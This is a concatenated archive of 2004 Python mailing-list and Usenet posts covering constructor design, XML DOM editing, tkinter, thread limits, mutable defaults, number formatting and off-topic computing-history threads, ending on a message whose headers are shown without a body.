	<eTHYc.205$yqJ1.68@news04.bloor.is.net.cable.rogers.com>
	<1gje9dn.r6jpetyroi0N%aleaxit@yahoo.com>
	<8JbZc.140699$UTP.23045@twister01.bloor.is.net.cable.rogers.com>
	<1gjfkp7.aepmjg11ubf2rN%aleaxit@yahoo.com>
Message-ID: <iolZc.115894$pTn.53552@news01.bloor.is.net.cable.rogers.com>


"Alex Martelli" <aleaxit at yahoo.com> wrote in message
news:1gjfkp7.aepmjg11ubf2rN%aleaxit at yahoo.com...
>    ...
> > though that I do not accept "explicit is better than implicit" as an
> > absolute truth.  [That's like when someone told me once with pride: "I
> > always design bottom-up."]  Applying a principle like that CONSISTENTLY
in
> > the design of a language can make a very good language.  On the other
hand,
> > I can imagine there can be very good languages, with their own uses and
> > advantages, if the reverse principle were consistently used.
>
> Perhaps, but from my experience with languages which consistently try to
> double-guess programmer intent and "do what's right" implicitly based on
> context, it doesn't work -- I'm thinking of PL/I, C++, Perl.  They're
> all big languages, so perfect consistency is impossible, of course.  But
> even small languages grow, if they're successful.  Do you have specific
> examples in mind of very good languages based on "implicit is better
> than explicit"?

No, I do not have an example, but I still stand by my comment.  Maybe it's
just impossible to use the principle "implicit is better than explicit"
consistently because you need at least something explicit.

> > You may see in another message I posted in this thread that I ended up
> > giving an answer to my own question (the 'WHY' question).  Here is my
reason
> > for that 'WHY'.  Python does not have method overloading (and I am ok
with
> > that, because it comes with the dynamic typing), so you cannot have a
> > default constructor and a non-default one at the same time.  C++ and
Java
>
> Not with the same name.  You can have all alternative constructors you
> want if you give them different names -- that's a popular use of
> classmethod (in Python as well as in Smalltalk, though there are
> differences between the two, of course).  Alternative names are more
> powerful than any overloading based on type could possibly be.
> Consider:

We may have a disagreement in terminology, but I was using "overloading" in
the C++/Java sense, which means strictly samename, different signatures.

> > have overloading and then can also mandate a default constructor for a
> > parent class, even if it's empty because you actually use only a
non-default
> > constructor for that class.  Python cannot request that you also
implement a
> > default __init__ when you need a non-default one.  There would be the
> > possibility of adding another special method, but there's already
__init__
> > and __new__, so that would be too confusing.
>
> Java and C++ _could_ mandate a default ctor, but they don't -- it would
> be a very bad design decision for them to do so, and their designers
> aren't THAT bad:-).  It's perfectly possible to have a class that just
> CANNOT be constructed without some specific arguments.

Try this C++ code:
    #include <iostream>
    class Class1 {
    public:
        Class1(int arg )
            {
            std::cout << "Class1 Constructor"  << std::endl;
            }
    };
    class Class2 : public Class1 {
    public:
        Class2(int arg)
            {
            std::cout << "Class2 Constructor"  << std::endl;
            }
    };
    int main(int argc, char **argv)
        {
        Class2 c2 = Class2(9);
        }

The compiler (I tried gcc) will give an error that the Class1::CLass1( )
constructor is missing.  Without the non-default Class1 constructor, the
compiler would have created a default constructor, IMPLICITLY.  Note that
even C++ chooses not to create the implicit, default, constructor anymore if
you have a non-default constructor.  You have to do it explicitly, even if
it's an empty one.

Anyway, in C++, if I write a library with a class like Class1, I can create
a default constructor to initialize all the members with default values if
there is no need for non-default values.  C++ gives me that possibility.  A
user of my library (who will never know me) can use this library and does
not need to know anything about the Class1 constructor.  This is consistent
with the principle of encapsulation, so subclasses don't need to know
anything about how the superclass is implemented.

Not in Python.  A user of my library has to invoke the parent's class
__init__ in their own __init__.  What happens if, in a future release, I get
rid of the __init__ in the parent class?  Or the other way around.  An early
release does not have a parent __init__, the users don't invoke it because
they can't, and then, in a future release, I add the parent __init__ because
I added some attributes.  It breaks all the users' code.  This is poor
encapsulation.

I think this IS a case where "implicit is better than explicit".

Dan




From roo at try-removing-this.darkboong.demon.co.uk  Fri Sep  3 04:19:02 2004
From: roo at try-removing-this.darkboong.demon.co.uk (Rupert Pigott)
Date: Fri, 03 Sep 2004 09:19:02 +0100
Subject: Xah Lee's Unixism
In-Reply-To: <tqmzn48b62i.fsf@drizzle.com>
References: <7fe97cc4.0408251356.34f2102a@posting.google.com>
	<1gj5eeq.gb3dk41wup9zwN%otto.wyss@orpatec.ch>
	<87hdqptl96.fsf_-_@thalassa.informatimago.com>
	<4PGdnfsOfdDPi63cRVn-tA@speakeasy.net>
	<slrncj1745.t5q.amajorel@atc5.vermine.org>
	<41337FC9.8070902@hotmail.com>
	<slrncj7hhh.2pt.amajorel@atc5.vermine.org>
	<p7v7j0plcfbden593l1irfprmfkp4d3k51@4ax.com>
	<slrncj8m5n.2pt.amajorel@atc5.vermine.org>
	<%T%Yc.29567$Es2.11957889@news4.srv.hcvlny.cv.net>
	<2mmdj0t6mjgif88en11skbo3n8uiuj46nc@4ax.com>
	<opsdpdzglzpqzri1@mjolner.upc.no>
	<1094141001.125507@teapot.planet.gong>
	<tqmzn48b62i.fsf@drizzle.com>
Message-ID: <1094199540.968446@teapot.planet.gong>

Patrick Scheible wrote:

[SNIP]

> Yes.  NeXTStep didn't have a microkernel.  The Mach kernel didn't get
> changed to a microkernel design until after NeXTStep split off from
> it.

Hmmm, you had better tell these folks they are wrong for starters :

http://www.macos.utah.edu/Documentation/MacOSXClasses/macosxone/unix.html

Do a google for NextStep and Microkernel, it appears to be a very
common understanding/myth...

Cheers,
Rupert



From dietz at dls.net  Sat Sep  4 09:40:16 2004
From: dietz at dls.net (Paul F. Dietz)
Date: Sat, 04 Sep 2004 08:40:16 -0500
Subject: Xah Lee's Unixism
In-Reply-To: <41376B82.C6A202FC@yahoo.com>
References: <j-OdnS-Q8aADqKjcRVn-tQ@speakeasy.net>
	<10jc7cu7e57koaa@corp.supernews.com>
	<20040901.2343.57633snz@dsl.co.uk>
	<YLednXSn7obciqrcRVn-og@powergate.ca> <41376B82.C6A202FC@yahoo.com>
Message-ID: <2L2dnfkB4NTaWKTcRVn-ow@dls.net>

CBFalconer wrote:

> I know nothing about those stories, but it seems reasonable to me
> that the boosters would have been designed to be transportable by
> railroad, which ties their dimensions to track gauge.

That's the nature of urban legends -- they seem reasonable.

	Paul


From ndbecker2 at verizon.net  Mon Sep 13 16:03:36 2004
From: ndbecker2 at verizon.net (Neal D. Becker)
Date: Mon, 13 Sep 2004 16:03:36 -0400
Subject: Find first in sequence (simple question)
References: <ci4s2o$irv$1@sea.gmane.org>
Message-ID: <ci4ueo$pn5$1@sea.gmane.org>

Neal D. Becker wrote:

> What is an efficient way to find the first element in a sequence meeting
> some condition?
> 
> For example, the first number > x in a list of numbers.
> 
> 

I guess if the sequence is sorted, you could use bisect, but only for the
specific case of comparing the values.

I really was looking for a more general "find_first" function, that would
find the first occurance in a sequence meeting some predicate, with
short-circuit evaluation (not evaluating the function for every element
first).



From in.aqua.scribis at nl.invalid  Wed Sep  1 16:43:06 2004
From: in.aqua.scribis at nl.invalid (Peter Kleiweg)
Date: Wed, 1 Sep 2004 22:43:06 +0200
Subject: Announcing PyCs, a new Python-like language on .Net
In-Reply-To: <pan.2004.09.01.16.39.03.778189@jerf.org>
References: <1aj14grs82tj.1eso0930azfaa$.dlg@40tude.net>
	<mailman.2573.1093758218.5135.python-list@python.org>
	<1093794853.349452@news.commspeed.net>
	<mailman.2711.1094020820.5135.python-list@python.org>
	<7Y2dncuabfymLajcRVn-gw@powergate.ca>
	<1iok6gznts9ad.ch1w241kak6y.dlg@40tude.net>
	<pan.2004.09.01.16.39.03.778189@jerf.org>
Message-ID: <Pine.LNX.4.44.0409012241180.1094-100000@kleigh.nl>

Jeremy Bowers schreef:

> Basically, all the *really* cute Py* names are taken. I'd recommend doing
> something that cleanly separates you from Python, and then just note the
> descendance. The farther you are getting from an implementation of Python,
> the more true this becomes. I think you will actually come to regret the
> association if you make it too strong, as people will get ideas about your
> language from the association, then be upset about the language when it
> doesn't meet their expectations. Better to start fresh.

So, no PythonScript then?

There are quit a lot of people who think JavaScript and Java are
the same thing, if not at least remotely related.


-- 
Peter Kleiweg  L:NL,af,da,de,en,ia,nds,no,sv,(fr,it)  S:NL,de,en,(da,ia)
info: http://www.let.rug.nl/~kleiweg/ls.html



From john_taylor_1973 at yahoo.com  Wed Sep 15 07:51:03 2004
From: john_taylor_1973 at yahoo.com (John Taylor)
Date: 15 Sep 2004 04:51:03 -0700
Subject: XML Dom question
References: <mailman.3309.1095171613.5135.python-list@python.org>
Message-ID: <fc30bff.0409150351.751527e2@posting.google.com>

Brett,

This works great.  Thanks for responding!

-John

"Humphreys, Brett" <bretth at aiinet.com> wrote in message news:<mailman.3309.1095171613.5135.python-list at python.org>...
> John, you actually would add a text node to your 'myNode' object.  For
> example:
> 
>     	w = walker.currentNode
> 	if "menu  File  Exit" == name and 0 == needs value and 0 ==
> test:
> 		myNode = doc.createElement("shortcut key")
> 		myNode.setAttribute("modifier","SHIFT")
> 		myTextNode = doc.createTextNOde("F4")
> 		myNode.appendChild(myTextNode)
> 		w.appendChild( myNode )  
> 		test = 1
> 
> It should create output such as:
> 
>  <object name='menu  File  Exit' class='wxMenuItem'>
>       <label>E xit</label>
>       <event class='EVT MENU'>On  File  Exit</event>
> 	<shortcut key modifier='SHIFT'>F4</shortcut key>
>  </object>
> 
> -Brett
> 
> -----Original Message-----
> From: python-list-bounces+bretth=aiinet.com at python.org
> [mailto:python-list-bounces+bretth=aiinet.com at python.org] On Behalf Of
> John Taylor
> Sent: Tuesday, September 14, 2004 10:06 AM
> To: python-list at python.org
> Subject: XML Dom question
> 
> 
> I am trying to insert a new element and value into a XML Dom structure
> and am having some trouble.
> 
> When I read the file in from disk, I have this:
> 
>     <object name='menu  File  Exit' class='wxMenuItem'>
>       <label>E xit</label>
>       <event class='EVT MENU'>On  File  Exit</event>
>     </object>
> 
> When I run this code:
> 
>         w = walker.currentNode
> 	if "menu  File  Exit" == name and 0 == needs value and 0 ==
> test:
> 		myNode = doc.createElement("shortcut key")
> 		myNode.setAttribute("modifier","SHIFT")
> 		w.appendChild( myNode )  
> 		test = 1
> 
> I get this result:
> 
>     <object name='menu  File  Exit' class='wxMenuItem'>
>       <label>E xit</label>
>       <event class='EVT MENU'>On  File  Exit</event>
>       <shortcut key modifier='SHIFT'/>
>     </object>
> 
> This is what I really want:
>       <shortcut key modifier='SHIFT'/>F4</shortcut key>
> 
> Can some one post code on how to do this?  I tried creating a new Node
> (called newNode) and setting the nodeType and NodeValue and the use the
> appendChild() method, but I keep getting this error:
> 
> code:
> myNode.appendChild(newNode)
> 
> error:
> AttributeError: Node instance has no attribute 'childNodes'
> 
> Any help would be greatly appreciated!
> 
> Thanks,
> -John


From oliphant at enthought.com  Mon Sep 13 13:10:37 2004
From: oliphant at enthought.com (Travis Oliphant)
Date: Mon, 13 Sep 2004 11:10:37 -0600
Subject: Conference presentations
Message-ID: <4145D48D.1000106@enthought.com>


Hi all,

The SciPy 2004 conference was a great success.  I personally enjoyed 
seeing all attendees and finding out about the activity that has been 
occurring with Python and Science.

As promised, all of the presentations that were submitted to 
abstracts at scipy.org are now available on-line under the 
conference-schedule page.

The link is

http://www.scipy.org/wikis/scipy04/ConferenceSchedule

If anyone who hasn't submitted their presentation would like to, you 
still can.  As I was only able to attend the first day, I cannot comment 
on the entire conference.  However, what I saw was very encouraging.  
There continues to be a great amount of work being done in using Python 
for Scientific Computing and the remaining problems seems to be how to 
get the word out and increase the user base.

Many thanks are due to the presenters and the conference sponsors:

*The National Biomedical Computation Resource* <http://nbcr.sdsc.edu> 
(NBCR, UCSD, San Diego, CA)
The mission of the National Biomedical Computation Resource at the 
University of California San Diego and partners at The Scripps Research 
Institute and Washington University is to conduct, catalyze, and advance 
biomedical research by harnessing, developing and deploying forefront 
computational, information, and grid technologies. NBCR is supported by 
_National Institutes of Health (NIH) _ through a _National Center for 
Research Resources_ centers grant (P 41 RR08605).

*The Center for Advanced Computing Research* 
<http://www.cacr.caltech.edu/> (CACR, CalTech 
<http://www.scipy.org/wikis/scipy04/CalTech>, Pasadena, CA)
CACR is dedicated to the pursuit of excellence in the field of 
high-performance computing, communication, and data engineering. Major 
activities include carrying out large-scale scientific and engineering 
applications on parallel supercomputers and coordinating collaborative 
research projects on high-speed network technologies, distributed 
computing and database methodologies, and related topics. Our goal is to 
help further the state of the art in scientific computing.

*Enthought, Inc.* <http://www.enthought.com> (Austin, TX)
Enthought, Inc. provides business and scientific computing solutions 
through software development, consulting and training.


Best regards to all,

-Travis Oliphant
Brigham Young University
459 CB
Provo, UT 84602
oliphant.travis at ieee.org








From peter at engcorp.com  Tue Sep 21 14:52:05 2004
From: peter at engcorp.com (Peter Hansen)
Date: Tue, 21 Sep 2004 14:52:05 -0400
Subject: class size
In-Reply-To: <IOKdnfO124X26s3cRVn-pw@powergate.ca>
References: <cipr3e$q72$1@solaris.cc.vt.edu>
	<IOKdnfO124X26s3cRVn-pw@powergate.ca>
Message-ID: <IOKdnfK124XI5c3cRVn-pw@powergate.ca>

Peter Hansen wrote:
> Discussing this issue quantitiatively is wrong.  The real
> concern should be about things like coupling, coherency,
> readability, and maintainability.  Learn about those concepts and

D'oh!  Brain fart... I meant "cohesion", not "coherency".
I should have paid attention to my hesitation while typing
that word...

(Of course, code should probably be coherent, too, but it's
not typically seen as a concern... text files rarely break
apart spontaneously. ;-)

-Peter


From abra9823 at mail.usyd.edu.au  Tue Sep 14 08:49:10 2004
From: abra9823 at mail.usyd.edu.au (Ajay)
Date: Tue, 14 Sep 2004 22:49:10 +1000
Subject: tkinter question
Message-ID: <1095166150.4146e8c6d27f1@www-mail.usyd.edu.au>

hi!

in my gui i have a set of radio buttons and some entry widgets.
what i'd like is that unless a particular radio button is selected, i
shouldn't be able to enter information in the entry widget.

how would i do that? make the widget non-editable?

cheers





----------------------------------------------------------------
This message was sent using IMP, the Internet Messaging Program.


From guettli at thomas-guettler.de  Thu Sep 23 06:41:35 2004
From: guettli at thomas-guettler.de (Thomas Guettler)
Date: Thu, 23 Sep 2004 12:41:35 +0200
Subject: Parsing HTML
References: <jmj5q0gv1g1k$.dlg@morateknikutveckling.se>
Message-ID: <pan.2004.09.23.10.41.35.287415@thomas-guettler.de>

Am Thu, 23 Sep 2004 08:42:08 +0200 schrieb Anders Eriksson:

> Hello!
> 
> I want to extract some info from a some specific HTML pages, Microsofts
> International Word list (e.g.
> http://msdn.microsoft.com/library/en-us/dnwue/html/swe_word_list.htm). I
> want to take all the words, both English and the other language and create
> a dictionary. so that I can look up About and get Om as the answer.
> 
> How is the best way to do this?

Hi,

If you only want to parse one page, I would use the re module.

If you want to parse many HTML pages, you can use tidy to create
xml and then use an xml parser. There are too many ways HTML can be
broken.

HTH,
 Thomas



From zanesdad at bellsouth.net  Wed Sep 29 11:47:31 2004
From: zanesdad at bellsouth.net (Jeremy Jones)
Date: Wed, 29 Sep 2004 11:47:31 -0400
Subject: Maximum number of threads
In-Reply-To: <FuA6d.2832$gm.1483@okepread07>
References: <xbt6d.2829$gm.1283@okepread07>	<415abdaa$1_1@omega.dimensional.com>
	<FuA6d.2832$gm.1483@okepread07>
Message-ID: <415AD913.5060902@bellsouth.net>

Kirby Angell wrote:

> Michael Fuhr wrote:
>
>> What happens when you hit this "hard limit"?  If there's an error
>> message then it might hint at the problem.
>
>
> If I run this program:
>
>
<snip>

>> I'm not current on Linux threading models -- do these versions of
>> Linux create a new process for each thread?  If so, could resource
>> limits be preventing you from creating more threads?
>
>
> I don't think Linux creates a new process for each thread.  Sure seems 
> like this would have to be something related to python since 2.2 could 
> create a thousand or more threads.  Although I have to admit that it 
> is odd that the maximum number of threads I can create on RH9 is 
> different than on FC2.


Versions of RedHat prior to 9 did something that made it appear that 
each thread was a process.  I don't know all the ins and outs (I think 
it had something to do with user-space vs. kernel-space), but when the 
Native Posix Thread Library (NPTL) appeard in RH9, each thread did not 
show up as its own process (say, in top).  I think it's probably an OS 
limitation.  I kicked off the same script on Windows XP that I kicked 
off on FC2 and XP was able to generate over 2000 threads as opposed to 
around 400 for FC2.  I may be wrong, but I think Python relies on the 
underlying OS threading libraries for everything threading related.  
Which is probably why the recent change in either 2.2 or 2.3 for a dummy 
threading module that simulates threading on systems that do not support 
threading.  I know my babbling isn't getting you any closer to a 
solution.....


Jeremy Jones


From m.h.3.9.1.without.dots.at.cam.ac.uk at example.com  Fri Sep 24 09:48:37 2004
From: m.h.3.9.1.without.dots.at.cam.ac.uk at example.com (Michael Hoffman)
Date: Fri, 24 Sep 2004 14:48:37 +0100
Subject: Unexpected Python Behavior
In-Reply-To: <RImdnbz2hMm7v8ncRVn-qg@lmi.net>
References: <4e4a11f8.0409232355.6ba0468d@posting.google.com>
	<mailman.3834.1096015522.5135.python-list@python.org>
	<RImdnbz2hMm7v8ncRVn-qg@lmi.net>
Message-ID: <cj18jn$47n$1@pegasus.csx.cam.ac.uk>

David Pokorny wrote:

> "Because of this feature, it is good programming practice to not use mutable
> objects as default values." -- 
> http://www.python.org/doc/faq/general.html#why-are-default-values-shared-between-objects
> 
> Has it been discussed whether it would be a good idea to issue a warning in
> this case?

It's not.

> It strikes me that a warning wouldn't bother veteran programmers,
> since it is really easy to avoid using a mutable default value (nearly
> trivial to modify code that does use mutable default values). I'd imagine it
> makes code more readable too.

I think you're missing the usefulness of this feature. Go back to the 
link you included and read the next paragraph, "This feature can be useful."
--
Michael Hoffman


From outpost at rumblefish.org  Sun Sep 19 16:19:05 2004
From: outpost at rumblefish.org (Thomas D'Tak)
Date: Sun, 19 Sep 2004 22:19:05 +0200
Subject: Formatting numbers with leading zeros
References: <71f6c60f.0409191159.5f9040bb@posting.google.com>
Message-ID: <pan.2004.09.19.20.19.05.280410@rumblefish.org>

On Sun, 19 Sep 2004 12:59:21 -0700, Stian wrote:

> One thing I can't figure out is how
> to format numbers so that they get leading zeros
> 
> ... ... ...
>
> print '%sx%s'%(season,episode)
> 
> which gives the output 1x1, but I want 1x01

I think you are looking for the string method zfill(); 
you can find it here in Python's Library Reference:

  http://www.python.org/doc/2.3.4/lib/string-methods.html

If e.g. episode = '1', episode.zfill(2) will return '01' 
and episode.zfill(3) will return '001' etc. etc.

HTH, Th.



From greg at cosc.canterbury.ac.nz  Thu Sep 23 23:47:33 2004
From: greg at cosc.canterbury.ac.nz (Greg Ewing)
Date: Fri, 24 Sep 2004 15:47:33 +1200
Subject: up with PyGUI!
In-Reply-To: <4152D05B.9020909@zephyrfalcon.org>
References: <mailman.3318.1095180577.5135.python-list@python.org>
	<414783DD.4070509@zephyrfalcon.org>
	<4lf4d.15151$pA.1180511@news20.bellglobal.com>
	<4151B7C4.6070003@zephyrfalcon.org> <2rfnp6F19gkpkU1@uni-berlin.de>
	<4152D05B.9020909@zephyrfalcon.org>
Message-ID: <2rhjmpF1at3kjU1@uni-berlin.de>

Hans Nowak wrote:
> anton muhin wrote:
> 
>> class MainFrame(FrameDescription):
>>
>>   class b1(ButtonDescription):
>>     size = (40, 40)
>>     text = "b1"
>>
> I'm not sure if the construct described above is all 
> that great...

For a while now I've been wondering whether Python could
benefit from an "instance" statement that works similarly
to a class statement but creates instances instead of
classes.

e.g.

   class MainFrame(FrameDescription):

     instance b1(ButtonDescription):
       size = (40, 40)
       text = "b1"

Haven't figured out all the details of how it would
work, though...

-- 
Greg Ewing, Computer Science Dept,
University of Canterbury,	
Christchurch, New Zealand
http://www.cosc.canterbury.ac.nz/~greg



From narshe at gmail.com  Mon Sep 20 15:30:37 2004
From: narshe at gmail.com (Josh Close)
Date: Mon, 20 Sep 2004 14:30:37 -0500
Subject: pipe command to script
In-Reply-To: <cinapa$2r6$1@news1.ucsd.edu>
References: <mailman.3587.1095707816.5135.python-list@python.org>
	<cinapa$2r6$1@news1.ucsd.edu>
Message-ID: <4a0cafe204092012301deb017d@mail.gmail.com>

Nice, that's easy. I did it some other way last time that worked
also..... probably doing things twice the other way though.

Thanks!

-Josh


On Mon, 20 Sep 2004 12:24:25 -0700, Robert Kern <rkern at ucsd.edu> wrote:
> 
> 
> Josh Close wrote:
> > How can I read input from stdin pipe from somewhere?
> >
> > ex:
> > # echo hello | script.py
> >
> > I was thinking opening file() or popen() with sys.stdin, but that
> > didn't work. I've done this before but don't have the code anymore and
> > can't figure it out again.
> 
> sys.stdin is already an open file object. Just call sys.stdin.read().
> 
> > Thanks.
> >
> > -Josh
> 
> --
> Robert Kern
> rkern at ucsd.edu
> 
> "In the fields of hell where the grass grows high
>   Are the graves of dreams allowed to die."
>    -- Richard Harter
> --
> http://mail.python.org/mailman/listinfo/python-list
>


From firstname at lastname.pr1v.n0  Thu Sep  9 12:21:52 2004
From: firstname at lastname.pr1v.n0 (Morten Reistad)
Date: Thu, 9 Sep 2004 18:21:52 +0200
Subject: Xah Lee's Unixism
References: <7fe97cc4.0408251356.34f2102a@posting.google.com>
	<413f049f$0$6914$61fed72c@news.rcn.com>
	<5sjnhc.bb81.ln@via.reistad.priv.no>
	<uwtz3trhy.fsf@mail.comcast.net>
Message-ID: <0vvphc.8nl1.ln@via.reistad.priv.no>

In article <uwtz3trhy.fsf at mail.comcast.net>,
Anne & Lynn Wheeler  <lynn at garlic.com> wrote:
>Morten Reistad <firstname at lastname.pr1v.n0> writes:
>>
>> SMD filters were used at a quite high rate; even inside well
>> filtered rooms. ISTR 6 months was a pretty long interval between
>> PM's.
>
>360s, 370s, etc differentiated between smp ... which was either

smD  the TLA that represents a washing-machine size disk. Mountable. 
  ^  Made impressive head crashes from time to time.

But I won't interfere with this lovely thread drift with lots
of relevant facts. 

>symmetrical multiprocessing or shared memory (multi-)processing
>... and loosely-coupled multiprocessing (clusters).
>http://www.garlic.com/~lynn/subtopic.html#smp
>
>in the 70s, my wife did stint in POK responsible for loosely-coupled
>multiprocessing architecture and came up with peer-coupled shared
>data
>http://www.garlic.com/~lynn/subtopic.html#shareddata
>
>also in the 70s, i had done a re-org of the virtual memory
>infrastructure for vm/cms. part of it was released as something called
>discontiguous shared memory ... and other pieces of it was released
>as part of the resource manager having to do with page migration
>(moving virtual pages between different backing store devices).
>http://www.garlic.com/~lynn/subtopic.html#fairshare
>http://www.garlic.com/~lynn/subtopic.html#wsclock
>http://www.garlic.com/~lynn/subtopic.html#mmap
>http://www.garlic.com/~lynn/subtopic.html#adcon
>
>in the mid-70s, one of the vm/cms timesharing service bureaus
>http://www.garlic.com/~lynn/subtopic.html#timeshare
>
>was starting to offer 7x24 service to customers around the world; one
>of the issues was being able to still schedule PM .... when there
>was never a time that there wasn't anybody using the system. they
>had already providing support for loosely-coupled, similar to
>HONE
>http://www.garlic.com/~lynn/subtopic.html#hone
>
>for scallability & load balancing. what they did in the mid-70s was to
>expand the "page migration" ... to include all control blocks ...  so
>that processes could be migrated off one processor complex (in a
>loosely-coupled environment) to a different processor complex ...  so
>a processor complex could be taken offline for PM.
>
>in the late '80s, we started the high availability, cluster multiprocessing
>project:
>http://www.garlic.com/~lynn/subtopic.html#hacmp
>
>of course the airline res system had been doing similar things on 360s
>starting in the 60s.
>
>totally random references to airline res systems, tpf, acp, and/or pars:
>http://www.garlic.com/~lynn/96.html#29 Mainframes & Unix
>http://www.garlic.com/~lynn/99.html#17 Old Computers
>http://www.garlic.com/~lynn/99.html#100 Why won't the AS/400 die? Or, It's 1999 why do I have to learn how to use
>http://www.garlic.com/~lynn/99.html#103 IBM 9020 computers used by FAA (was Re: EPO stories (was: HELP IT'S HOT!!!!!))
>http://www.garlic.com/~lynn/99.html#136a checks (was S/390 on PowerPC?)
>http://www.garlic.com/~lynn/99.html#152 Uptime (was Re: Q: S/390 on PowerPC?)
>http://www.garlic.com/~lynn/2000b.html#20 How many Megaflops and when?
>http://www.garlic.com/~lynn/2000b.html#61 VM (not VMS or Virtual Machine, the IBM sort)
>http://www.garlic.com/~lynn/2000b.html#65 oddly portable machines
>http://www.garlic.com/~lynn/2000c.html#60 Disincentives for MVS & future of MVS systems programmers
>http://www.garlic.com/~lynn/2000e.html#21 Competitors to SABRE?  Big Iron
>http://www.garlic.com/~lynn/2000e.html#22 Is a VAX a mainframe?
>http://www.garlic.com/~lynn/2000f.html#20 Competitors to SABRE?
>http://www.garlic.com/~lynn/2001.html#26 Disk caching and file systems.  Disk history...people forget
>http://www.garlic.com/~lynn/2001b.html#37 John Mashey's greatest hits
>http://www.garlic.com/~lynn/2001d.html#69 Block oriented I/O over IP
>http://www.garlic.com/~lynn/2001e.html#2 Block oriented I/O over IP
>http://www.garlic.com/~lynn/2001g.html#35 Did AT&T offer Unix to Digital Equipment in the 70s?
>http://www.garlic.com/~lynn/2001g.html#45 Did AT&T offer Unix to Digital Equipment in the 70s?
>http://www.garlic.com/~lynn/2001g.html#46 The Alpha/IA64 Hybrid
>http://www.garlic.com/~lynn/2001g.html#47 The Alpha/IA64 Hybrid
>http://www.garlic.com/~lynn/2001g.html#49 Did AT&T offer Unix to Digital Equipment in the 70s?
>http://www.garlic.com/~lynn/2001j.html#17 I hate Compaq
>http://www.garlic.com/~lynn/2001n.html#0 TSS/360
>http://www.garlic.com/~lynn/2001n.html#3 News IBM loses supercomputer crown
>http://www.garlic.com/~lynn/2002c.html#9 IBM Doesn't Make Small MP's Anymore
>http://www.garlic.com/~lynn/2002g.html#2 Computers in Science Fiction
>http://www.garlic.com/~lynn/2002g.html#3 Why are Mainframe Computers really still in use at all?
>http://www.garlic.com/~lynn/2002h.html#12 Why did OSI fail compared with TCP-IP?
>http://www.garlic.com/~lynn/2002h.html#43 IBM doing anything for 50th Anniv?
>http://www.garlic.com/~lynn/2002i.html#63 Hercules and System/390 - do we need it?
>http://www.garlic.com/~lynn/2002i.html#83 HONE
>http://www.garlic.com/~lynn/2002j.html#83 Summary: Robots of Doom
>http://www.garlic.com/~lynn/2002m.html#67 Tweaking old computers?
>http://www.garlic.com/~lynn/2002n.html#29 why does wait state exist?
>http://www.garlic.com/~lynn/2002o.html#28 TPF
>http://www.garlic.com/~lynn/2002p.html#58 AMP  vs  SMP
>http://www.garlic.com/~lynn/2003.html#48 InfiniBand Group Sharply, Evenly Divided
>http://www.garlic.com/~lynn/2003c.html#30 diffence between itanium and alpha
>http://www.garlic.com/~lynn/2003d.html#67 unix
>http://www.garlic.com/~lynn/2003g.html#30 One Processor is bad?
>http://www.garlic.com/~lynn/2003g.html#32 One Processor is bad?
>http://www.garlic.com/~lynn/2003g.html#37 Lisp Machines
>http://www.garlic.com/~lynn/2003j.html#2 Fix the shuttle or fly it unmanned
>http://www.garlic.com/~lynn/2003k.html#3 Ping:  Anne & Lynn Wheeler
>http://www.garlic.com/~lynn/2003n.html#47 What makes a mainframe a mainframe?
>http://www.garlic.com/~lynn/2003p.html#45 Saturation Design Point
>http://www.garlic.com/~lynn/2004.html#24 40th anniversary of IBM System/360 on 7 Apr 2004
>http://www.garlic.com/~lynn/2004.html#49 Mainframe not a good architecture for interactive workloads
>http://www.garlic.com/~lynn/2004.html#50 Mainframe not a good architecture for interactive workloads
>http://www.garlic.com/~lynn/2004b.html#6 Mainframe not a good architecture for interactive workloads
>http://www.garlic.com/~lynn/2004b.html#7 Mainframe not a good architecture for interactive workloads
>http://www.garlic.com/~lynn/2004c.html#35 Computer-oriented license plates
>http://www.garlic.com/~lynn/2004e.html#44 Infiniband - practicalities for small clusters
>http://www.garlic.com/~lynn/2004f.html#58 Infiniband - practicalities for small clusters
>http://www.garlic.com/~lynn/2004g.html#14 Infiniband - practicalities for small clusters
>
>-- 
>Anne & Lynn Wheeler | http://www.garlic.com/~lynn/




From lynn at garlic.com  Thu Sep  2 11:55:45 2004
From: lynn at garlic.com (Anne & Lynn Wheeler)
Date: Thu, 02 Sep 2004 09:55:45 -0600
Subject: Xah Lee's Unixism
References: <4PGdnfsOfdDPi63cRVn-tA@speakeasy.net>
	<slrncj1745.t5q.amajorel@atc5.vermine.org>
	<41337FC9.8070902@hotmail.com>
	<slrncj7hhh.2pt.amajorel@atc5.vermine.org>
	<p7v7j0plcfbden593l1irfprmfkp4d3k51@4ax.com>
	<slrncj8m5n.2pt.amajorel@atc5.vermine.org>
	<%T%Yc.29567$Es2.11957889@news4.srv.hcvlny.cv.net>
	<2mmdj0t6mjgif88en11skbo3n8uiuj46nc@4ax.com>
	<ullfserte.fsf@mail.comcast.net>
	<41372f4a$0$19727$61fed72c@news.rcn.com>
Message-ID: <ud614ekce.fsf@mail.comcast.net>

jmfbahciv at aol.com writes:
> And everybody seems to think that those people never talked to each
> other.  Even boasting about whose is bigger, faster, and longer
> would transmit new ideas among the bit setters.

and some of them worked jointly/together on ctss ... before some of
them going to multics on the 5th floor and others going to the science
center on the 4th floor. also the north half of 1st floor, 545 tech sq
had a lunch room on the east side and a lounge on the west side
... and if nothing else ... people ran into each other there.

then there is melinda's vm history which has a lot of the ctss, multics,
cp/cms early lore .... current copy at:
http://pucc.princeton.edu/~melinda/

a much earlier version was posted to vmshare computer conference in
eight parts and can be found at the vmshare archive site:
http://vm.marist.edu/~vmshare/browse?fn=VMHIST01&ft=NOTE
http://vm.marist.edu/~vmshare/browse?fn=VMHIST02&ft=NOTE
http://vm.marist.edu/~vmshare/browse?fn=VMHIST03&ft=NOTE
http://vm.marist.edu/~vmshare/browse?fn=VMHIST04&ft=NOTE
http://vm.marist.edu/~vmshare/browse?fn=VMHIST05&ft=NOTE
http://vm.marist.edu/~vmshare/browse?fn=VMHIST06&ft=NOTE
http://vm.marist.edu/~vmshare/browse?fn=VMHIST07&ft=NOTE
http://vm.marist.edu/~vmshare/browse?fn=VMHIST08&ft=NOTE

-- 
Anne & Lynn Wheeler | http://www.garlic.com/~lynn/


From peter at engcorp.com  Tue Sep 28 07:20:28 2004
From: peter at engcorp.com (Peter Hansen)
Date: Tue, 28 Sep 2004 07:20:28 -0400
Subject: synchronize a block
In-Reply-To: <cjb9tk$spo$1@swifty.westend.com>
References: <2rqduhF1di4lmU1@uni-berlin.de>
	<b5qdnRyUvIusnsXcRVn-gA@powergate.ca> <DUT5d.438$gk.278@okepread01>
	<WfudnV7vZuEUpMXcRVn-jQ@powergate.ca>
	<cjb9tk$spo$1@swifty.westend.com>
